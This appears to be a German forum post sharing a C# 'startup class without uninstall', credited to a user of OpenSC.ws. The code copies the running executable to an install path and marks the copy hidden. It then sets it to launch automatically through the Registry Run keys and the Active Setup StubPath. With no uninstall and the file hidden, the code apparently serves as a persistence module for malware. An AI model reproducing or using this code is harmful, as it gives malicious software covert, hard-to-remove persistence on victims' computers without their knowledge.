Hier eine Startup KLasse ohne Deinstall von Xepouhe aus OpenSc.ws
[php]
static class c_Startup
{
/""
Coded by Xepouhe :: OpenSC.ws
""/
public static bool IsInstalled()
{
if (File.Exists(c_Config.GetInstallPath()))
return true;
return false;
}
public static void RegistryInstall()
{
RegistryKey rkKey = null;
rkKey = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run");
rkKey.SetValue(c_Config.GetRegistryName(), c_Config.GetInstallPath());
rkKey.Close();
rkKey = null;
if (!c_Misc.IsVista78())
{
rkKey = Registry.LocalMachine.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run");
rkKey.SetValue(c_Config.GetRegistryName(), c_Config.GetInstallPath());
rkKey.Close();
rkKey = null;
rkKey = Registry.LocalMachine.OpenSubKey(@"Software\Microsoft\Active Setup\Installed Components");
rkKey.CreateSubKey(c_Config.GetActiveXKey());
rkKey = rkKey.OpenSubKey(c_Config.GetActiveXKey());
rkKey.SetValue("StubPath", c_Config.GetInstallPath());
rkKey.SetValue("IsInstalled", 1, RegistryValueKind.DWord);
rkKey.Close();
rkKey = null;
}
}
public static void Install()
{
try
{
File.Copy(Application.ExecutablePath, c_Config.GetInstallPath());
if (File.Exists(c_Config.GetInstallPath()))
{
RegistryInstall();
File.SetAttributes(c_Config.GetInstallPath(), File.GetAttributes(c_Config.GetInstallPath()) | FileAttributes.Hidden);
}
Environment.Exit(0);
}
catch
{
}
}
}
[/php]